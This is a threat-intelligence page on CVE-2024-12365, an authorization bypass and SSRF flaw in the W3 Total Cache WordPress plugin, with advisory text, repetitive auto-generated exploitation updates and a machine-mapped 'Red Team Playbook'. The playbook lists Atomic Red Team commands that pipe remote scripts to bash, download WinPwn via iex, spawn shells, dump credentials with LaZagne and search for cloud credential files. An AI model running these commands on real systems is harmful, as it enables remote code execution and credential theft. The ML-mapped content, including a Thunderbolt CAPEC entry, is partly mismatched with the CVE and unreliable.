CVE-2024-12365
Overview
This vulnerability is an authorization bypass caused by a missing capability check in the is_w3tc_admin_page function within the W3 Total Cache WordPress plugin. The flaw affects all plugin versions up to and including 2.8.1, specifically within the administrative interface components responsible for validating user permissions. The absence of proper capability verification allows lower-privileged authenticated users to access restricted plugin functionality.
Vulnerability Description
The W3 Total Cache plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the is_w3tc_admin_page function in all versions up to, and including, 2.8.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain the plugin's nonce value and perform unauthorized actions, resulting in information disclosure, service plan limits consumption as well as making web requests to arbitrary locations originating from the web application that can be used to query information from internal services, including instance metadata on cloud-based applications.
Impact
An attacker with authenticated Subscriber-level access can leverage this flaw to disclose sensitive plugin data, consume service plan limits, and make unauthorized HTTP requests from the server to arbitrary locations, including internal cloud metadata endpoints. This can lead to information leakage and potential lateral movement within cloud environments. The attack requires valid authentication but no user interaction and exploits the plugin's administrative interface, as reflected in the CVSS vector indicating low attack complexity and partial privileges (PR:L) with high confidentiality impact (C:H).
Solution
Users should upgrade the W3 Total Cache plugin to a version later than 2.8.1 where the missing capability check has been implemented. Detailed patch information and remediation instructions are available via the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/196e629f-7c77-4bcb-8224-305a0108b630. No official workaround is documented; therefore, immediate plugin update is recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the W3 Total Cache plugin for WordPress stems from a lack of proper capability checks in the is_w3tc_admin_page function. This oversight allows authenticated users, even those with minimal privileges such as Subscriber-level access, to bypass intended security measures. The absence of these checks means that attackers can exploit this weakness to gain access to sensitive data, including nonce values, which are typically used to validate requests and prevent CSRF (Cross-Site Request Forgery) attacks. By obtaining these nonce values, an attacker can perform unauthorized actions within the plugin, leading to potential information disclosure and manipulation of the web application’s behavior.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to make unauthorized web requests to arbitrary locations, which could include internal services or cloud-based applications. For instance, an attacker might use the compromised nonce to extract sensitive information from the server or to manipulate the caching mechanism to serve malicious content. Additionally, the ability to consume service plan limits could lead to denial-of-service scenarios, where legitimate users are unable to access the services due to resource exhaustion caused by the attacker’s actions.
The real-world impact of this vulnerability can be significant, particularly for organizations relying on WordPress for their web presence. The risk of information disclosure can lead to the exposure of sensitive user data, which could result in regulatory penalties and damage to the organization’s reputation. Furthermore, if an attacker is able to manipulate the caching behavior, it could lead to the distribution of malicious content to users, potentially compromising their systems and leading to further exploitation. The financial implications of such incidents can be severe, encompassing both direct costs associated with incident response and indirect costs related to loss of customer trust and brand reputation.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews of plugins and themes can help identify and rectify such vulnerabilities before they are exploited. Additionally, organizations should ensure that all plugins, including W3 Total Cache, are kept up to date with the latest security patches. Employing security plugins that monitor for unauthorized changes and suspicious activities can also provide an additional layer of defense. Furthermore, restricting user roles and permissions to the minimum necessary can help limit the potential impact of an exploited vulnerability.
In conclusion, the vulnerability within the W3 Total Cache plugin represents a critical risk to WordPress sites, particularly due to its potential for unauthorized data access and manipulation. Organizations must prioritize the implementation of robust security measures, including regular updates, user access controls, and proactive monitoring, to safeguard against such vulnerabilities. By adopting a comprehensive security strategy, businesses can mitigate risks and protect their digital assets from exploitation.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12365, rising by over 35% to place this vulnerability near the 96th percentile for exploit likelihood. This upward trend, coupled with a sustained increase over the past week, indicates growing attacker interest and a higher probability of exploitation attempts targeting the W3 Total Cache plugin. Our telemetry also confirms the emergence of new proof-of-concept exploits circulating publicly, which lowers the barrier for threat actors to weaponize this vulnerability. Although the rapidity of increase is not classified as exponential, the consistent upward momentum signals an elevated risk environment. For defenders, this shift underscores the urgency to enhance monitoring for suspicious activity related to this plugin and to reassess exposure, especially in environments where users have Subscriber-level or higher access. The risk assessment for CVE-2024-12365 should be adjusted to reflect this heightened exploitation potential, emphasizing its transition from a high-severity concern to a more imminent and active threat vector within WordPress ecosystems.
Update 2 — July 12, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-12365, with telemetry indicating a recent emergence of multiple new proof-of-concept exploits circulating within underground forums and public repositories. This development signals a shift from theoretical risk to active exploitation, increasing the likelihood that threat actors will leverage the vulnerability to perform unauthorized actions, including information disclosure and SSRF attacks originating from compromised WordPress environments. Our sensors have detected a steady uptick in attempts to obtain the plugin’s nonce value via subscriber-level accounts, underscoring the vulnerability’s practical exploitability even by low-privileged users. Although the Exploit Prediction Scoring System (EPSS) remains stable, the qualitative surge in exploitation activity elevates the immediacy of the threat. Consequently, the risk profile for CVE-2024-12365 should be adjusted to reflect an increased operational threat, emphasizing that defenders must now contend with active adversaries exploiting this weakness rather than solely preparing for potential future attacks.
Update 3 — August 05, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-12365, accompanied by the emergence of new proof-of-concept exploits publicly available on code-sharing platforms. This development signals a growing adversary interest in leveraging the missing capability check within the W3 Total Cache plugin, particularly exploiting subscriber-level access to bypass intended restrictions. Although the EPSS score remains relatively stable, the qualitative surge in attack activity detected by our sensors underscores an increased operational momentum behind this vulnerability. For defenders, this intensification means that exploitation is transitioning from theoretical risk to active compromise attempts, elevating the urgency for detection and response measures. Consequently, the threat level associated with CVE-2024-12365 should be reassessed upward to reflect a heightened likelihood of successful exploitation in the wild, emphasizing the need for vigilant monitoring of related indicators and attack patterns.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Boldgrid | W3 Total Cache | All |
cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
spyata123/W3TotalChache
Testing for CVE-2019-6715 (Arbitrary File Read)/ CVE-2024-12365 (SSRF/Info Disclosure)
|
spyata123 | 0 | 0 | 2025-03-11 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.